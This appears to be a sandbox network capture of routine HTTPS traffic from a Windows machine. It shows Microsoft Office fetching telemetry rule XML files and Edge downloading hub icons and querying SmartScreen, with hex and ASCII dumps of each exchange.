2024-11-17 11:35:36 UTC	491	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 11:35:36 GMT Content-Type: text/xml Content-Length: 502 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6A0D312" x-ms-request-id: b301b02c-001e-0014-179f-375151000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T113536Z-1866b5c5fbbbf2bdhC1DFWu6f4000000015g00000000a01z x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 11:35:36 UTC	502	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120664" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
76	192.168.2.5	49856	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 11:35:36 UTC	192	OUT	GET /rules/rule120663v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 11:35:36 UTC	491	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 11:35:36 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB556A907" x-ms-request-id: f6e15b3c-401e-0083-16b1-37075c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T113536Z-164f84587bf7k72dhC1DFWvczs000000048g000000004h35 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 11:35:36 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 52 72 5d 5b 41 61 5d 5b 4c 6c 5d 5b 4c 6c 5d 5b 45 65 5d 5b 4c 6c 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120663" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <SR T="2" R="([Pp][Aa][Rr][Aa][Ll][Ll][Ee][Ll][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
77	192.168.2.5	49855	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 11:35:36 UTC	192	OUT	GET /rules/rule120666v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 11:35:36 UTC	491	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 11:35:36 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3F48DAE" x-ms-request-id: bb1a68b3-601e-0001-569b-38faeb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T113536Z-1866b5c5fbbx98hfhC1DFWuqmg0000000330000000000xkt x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 11:35:36 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120666" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
78	192.168.2.5	49853	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 11:35:36 UTC	192	OUT	GET /rules/rule120665v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 11:35:36 UTC	491	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 11:35:36 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D30478D" x-ms-request-id: cf25fe23-201e-0000-80af-36a537000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T113536Z-16547b76f7fljddfhC1DFWeqbs00000004y000000000efgy x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 11:35:36 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 53 73 5d 5b 53 73 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120665" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <SR T="2" R="([Pp][Ss][Ss][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
79	192.168.2.5	49854	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 11:35:36 UTC	192	OUT	GET /rules/rule120667v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 11:35:36 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 11:35:36 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BB9B6040B" x-ms-request-id: 0269dba3-501e-0035-248e-37c923000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T113536Z-16547b76f7fw2955hC1DFWsptc00000004ng00000000b51t x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 11:35:36 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 51 71 5d 5b 45 65 5d 5b 4d 6d 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120667" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <SR T="2" R="^([Qq][Ee][Mm][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
80	192.168.2.5	49857	13.107.246.57	443	7660	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-17 11:35:36 UTC	431	OUT	GET /assets/edge_hub_apps_search_maximal_light.png/1.3.6/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-17 11:35:36 UTC	536	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 11:35:36 GMT Content-Type: image/png Content-Length: 1966 Connection: close Last-Modified: Fri, 03 Nov 2023 21:43:31 GMT ETag: 0x8DBDCB5EC122A94 x-ms-request-id: e64904fa-f01e-0014-7ca6-37ab63000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241117T113536Z-16547b76f7fkz9l7hC1DFW35uc00000001bg000000003wpg Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 11:35:36 UTC	1966	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 07 43 49 44 41 54 78 01 ed 97 5b 68 5c 75 1e c7 7f ff 73 f9 9f 49 d2 49 4f da 98 b4 6a d7 d9 c5 16 bc b0 4e c1 bd c8 6e d8 99 07 1f 74 1f 9a e0 2a 15 77 d7 06 0b 82 0f d5 3c 54 10 1f 3a 41 d0 2a 8a 2d 55 29 68 4d 14 1f 6a d3 92 3c 28 58 45 92 fa d0 0a 82 8e 48 14 6a 6b 53 d0 b4 21 4d e7 cc 64 6e 67 ce cd ef ef 64 4e 48 ed c5 74 d2 e8 4b 7f c3 9f ff b9 cd 39 9f f3 fd ff 6e 87 e8 ba 2d cd c4 62 2f 1c 1a 1a 4a 29 8a b2 c9 f3 bc 44 10 04 3c c8 71 1c 0b fb 59 8c af 71 6e a4 b7 b7 d7 a2 6b 6c bf 0a 38 3c 3c fc Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAaCIDATx[h\usIIOjNntw<T:A-U)hMj<(XEHjkS!MdngdNHtK9n-b/J)D<qYqnkl8<<

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
81	192.168.2.5	49858	13.107.246.57	443	7660	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-17 11:35:36 UTC	433	OUT	GET /assets/edge_hub_apps_shopping_maximal_light.png/1.4.0/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-17 11:35:36 UTC	543	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 11:35:36 GMT Content-Type: image/png Content-Length: 1751 Connection: close Last-Modified: Tue, 17 Oct 2023 00:34:33 GMT ETag: 0x8DBCEA8D5AACC85 x-ms-request-id: 3a8e668c-201e-0052-1143-3775f5000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241117T113536Z-164f84587bfghdt4hC1DFWu5nn0000000440000000000u77 Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 69316365 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 11:35:36 UTC	1751	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 06 6c 49 44 41 54 78 01 ed 98 4d 6c 54 55 14 c7 cf 9d ce b4 52 09 42 85 b8 40 ed f3 23 44 37 0a b8 32 71 01 71 a1 89 1b dc 08 3b ab 0b 64 87 b8 30 84 10 3a c3 c2 a5 1a 57 b8 52 16 26 6e 8c 10 3f 91 c5 a0 a2 21 0d d1 c6 18 63 34 9a 91 b8 c0 40 6c a1 ed cc 7b ef 7e 1c ff e7 de fb e6 4d 3f a0 1f d4 e8 a2 17 5e de eb ed 9b f7 7e f7 7f ce f9 9f 3b 25 5a 1b 6b e3 bf 1d 8a 56 71 d4 cf f2 2e 36 34 ca 44 bb d8 11 15 07 71 cf 19 ff 71 ad 08 3f 3b 4b 13 4e bb 3f 74 27 1f cf 3a d4 38 71 68 5d eb 5f 03 3c 76 86 9f c7 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAalIDATxMlTURB@#D72qq;d0:WR&n?!c4@l{~M?^~;%ZkVq.64Dqq?;KN?t':8qh]_<v

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
82	192.168.2.5	49860	13.107.246.57	443	7660	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-17 11:35:36 UTC	433	OUT	GET /assets/edge_hub_apps_toolbox_maximal_light.png/1.5.13/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-17 11:35:36 UTC	515	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 11:35:36 GMT Content-Type: image/png Content-Length: 1427 Connection: close Last-Modified: Fri, 03 Nov 2023 21:43:36 GMT ETag: 0x8DBDCB5EF021F8E x-ms-request-id: 1bc5532a-c01e-003e-451d-37de26000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241117T113536Z-16547b76f7fljddfhC1DFWeqbs000000055g000000000p8y Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 11:35:36 UTC	1427	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 05 28 49 44 41 54 78 01 ed 57 cd 6b 24 45 14 7f af 67 86 c4 5d cd 8e 9b 05 d1 3d ec e8 1f 20 5e 3d 28 eb 41 04 41 44 10 3c 66 d1 53 92 d3 42 40 72 da 11 84 5c b3 7f 80 24 39 48 40 d4 8b 17 2f b2 e2 1f a0 1e 25 a7 01 11 16 17 35 1f f3 d1 dd d5 55 cf 57 df d5 d3 eb 4e 5a f0 22 53 a1 52 9d 57 5d ef fd de ef 7d 74 05 60 39 96 63 39 96 e3 3f 1d 08 ff 62 1c 1f 1f df e6 e5 9e 52 ea 15 5e fb bc 02 11 99 a9 9f f5 e4 41 52 4a 74 7b df f3 7a 77 7b 7b fb 67 68 39 5a 03 3c 3a 3a da 40 c4 43 0f ea 1f 56 3d 34 38 e2 89 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAa(IDATxWk$Eg]= ^=(AAD<fSB@r\$9H@/%5UWNZ"SRW]}t`9c9?bR^ARJt{zw{{gh9Z<::@CV=48

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
83	192.168.2.5	49859	13.107.246.57	443	7660	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-17 11:35:36 UTC	422	OUT	GET /assets/edge_hub_apps_M365_light.png/1.7.32/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-17 11:35:36 UTC	536	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 11:35:36 GMT Content-Type: image/png Content-Length: 2229 Connection: close Last-Modified: Wed, 25 Oct 2023 19:48:24 GMT ETag: 0x8DBD59359A9E77B x-ms-request-id: 8254c623-901e-0069-7c1d-3737ab000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241117T113536Z-16547b76f7fffb7lhC1DFWdsxg000000049g00000000d3r6 Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 11:35:36 UTC	2229	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 08 4a 49 44 41 54 78 01 ed 98 6d 88 5c 57 19 c7 9f e7 dc 7b 37 89 49 9a dd 6c 5e d6 96 c0 c4 36 a1 d5 2f 49 a1 92 22 ea 06 ac a4 41 21 05 41 2a e8 ee 16 a4 82 e0 26 62 a5 b5 92 99 f1 8b 2f 68 b3 fd 92 16 ad 64 fb 29 16 62 53 6d 68 17 15 b2 a2 ed 07 b1 6c a8 95 d6 97 74 36 a9 35 69 d2 90 dd 6d bb 9b 99 7b ce 79 fc 3f e7 dc d9 8d 99 24 b3 2f f9 d8 03 77 9e 7b ce dc b9 e7 77 ff cf cb 39 77 88 3e 6c 4b 6b 4c 37 a8 f5 ee 1d 2b a5 44 25 c2 47 9a d2 f8 c8 8f b6 8f d3 0d 68 4b 06 dc f1 8d df f7 ae cc ba cb 6c a8 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAaJIDATxm\W{7Il^6/I"A!A*&b/hd)bSmhlt65im{y?$/w{w9w>lKkL7+D%GhKl

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
84	192.168.2.5	49861	13.107.246.57	443	7660	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-17 11:35:36 UTC	430	OUT	GET /assets/edge_hub_apps_games_maximal_light.png/1.7.1/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-17 11:35:36 UTC	536	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 11:35:36 GMT Content-Type: image/png Content-Length: 2008 Connection: close Last-Modified: Tue, 10 Oct 2023 17:24:26 GMT ETag: 0x8DBC9B5C0C17219 x-ms-request-id: 8c1ed240-601e-0033-6adf-37312a000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241117T113536Z-16547b76f7f9s8x7hC1DFWywrg00000003zg000000009wx3 Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 11:35:36 UTC	2008	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 07 6d 49 44 41 54 78 01 ed 98 bf 6f 14 47 14 c7 df ec 9d 11 48 48 5c aa 94 de 74 74 18 45 a9 59 24 0a d2 24 54 91 a0 f1 39 44 24 45 24 ec 32 0d be 28 05 44 14 98 2a e9 7c 96 50 e4 26 32 11 2d 02 47 91 02 4d 64 a3 08 25 92 a5 70 fc 05 18 ff 38 df ed af 97 ef 77 76 66 bd 36 07 67 9b 58 69 18 69 34 b3 b3 bb b3 9f fb ce 7b 6f de 9c c8 bb f2 76 c5 c8 21 95 bf 66 35 4c 33 59 8a 33 6d e0 33 53 1f 7e 69 66 38 fe 74 56 c7 b2 54 1e 26 a9 34 f2 4c a6 3e fa ba 18 ff e3 96 36 7b 89 cc 6e f5 45 92 2c 9b f8 b8 55 6f 73 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAamIDATxoGHH\ttEY$$T9D$E$2(D*\|P&2-GMd%p8wvf6gXii4{ov!f5L3Y3m3S~if8tVT&4L>6{nE,Uos

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
85	192.168.2.5	49865	52.159.108.190	443	7660	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-17 11:35:36 UTC	698	OUT	POST /api/browser/edge/data/settings/3 HTTP/1.1 Host: data-edge.smartscreen.microsoft.com Connection: keep-alive Content-Length: 718 Accept: application/octet-stream;application/x-patch-bsdiff; Authorization: SmartScreenHash eyJhdXRoSWQiOiI0MWE0MzhiYy0xMjQ5LTQzZDMtYTI2ZC02OWNkNjJjMDgzMTciLCAia2V5IjoidXVMTE9mM2tXeFBPeUw3cW5pVElwUT09IiwgImhhc2giOiJiOUY1L2VzOEoxWT0ifQ== Content-Type: application/json; charset=utf-8 If-None-Match: "2.0-0" Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br
2024-11-17 11:35:36 UTC	718	OUT	Data Raw: 7b 22 69 64 65 6e 74 69 74 79 22 3a 7b 22 75 73 65 72 22 3a 7b 22 6c 6f 63 61 6c 65 22 3a 22 65 6e 2d 47 42 22 7d 2c 22 64 65 76 69 63 65 22 3a 7b 22 69 64 22 3a 6e 75 6c 6c 2c 22 63 75 73 74 6f 6d 49 64 22 3a 6e 75 6c 6c 2c 22 6f 6e 6c 69 6e 65 49 64 54 69 63 6b 65 74 22 3a 6e 75 6c 6c 2c 22 66 61 6d 69 6c 79 22 3a 33 2c 22 6c 6f 63 61 6c 65 22 3a 22 65 6e 2d 47 42 22 2c 22 6f 73 56 65 72 73 69 6f 6e 22 3a 22 31 30 2e 30 2e 31 39 30 34 35 2e 32 30 30 36 2e 76 62 5f 72 65 6c 65 61 73 65 22 2c 22 62 72 6f 77 73 65 72 22 3a 7b 22 69 6e 74 65 72 6e 65 74 5f 65 78 70 6c 6f 72 65 72 22 3a 22 39 2e 31 31 2e 31 39 30 34 31 2e 30 22 7d 2c 22 6e 65 74 4a 6f 69 6e 53 74 61 74 75 73 22 3a 32 2c 22 65 6e 74 65 72 70 72 69 73 65 22 3a 7b 7d 2c 22 63 6c 6f 75 64 53 6b Data Ascii: {"identity":{"user":{"locale":"en-GB"},"device":{"id":null,"customId":null,"onlineIdTicket":null,"family":3,"locale":"en-GB","osVersion":"10.0.19045.2006.vb_release","browser":{"internet_explorer":"9.11.19041.0"},"netJoinStatus":2,"enterprise":{},"cloudSk
2024-11-17 11:35:36 UTC	302	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 11:35:36 GMT Content-Type: application/octet-stream Content-Length: 130439 Connection: close Server: Kestrel ETag: "2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1" Request-Context: appId=cid-v1:46ea1a4d-29cb-4e7e-a1ff-735721467fe3
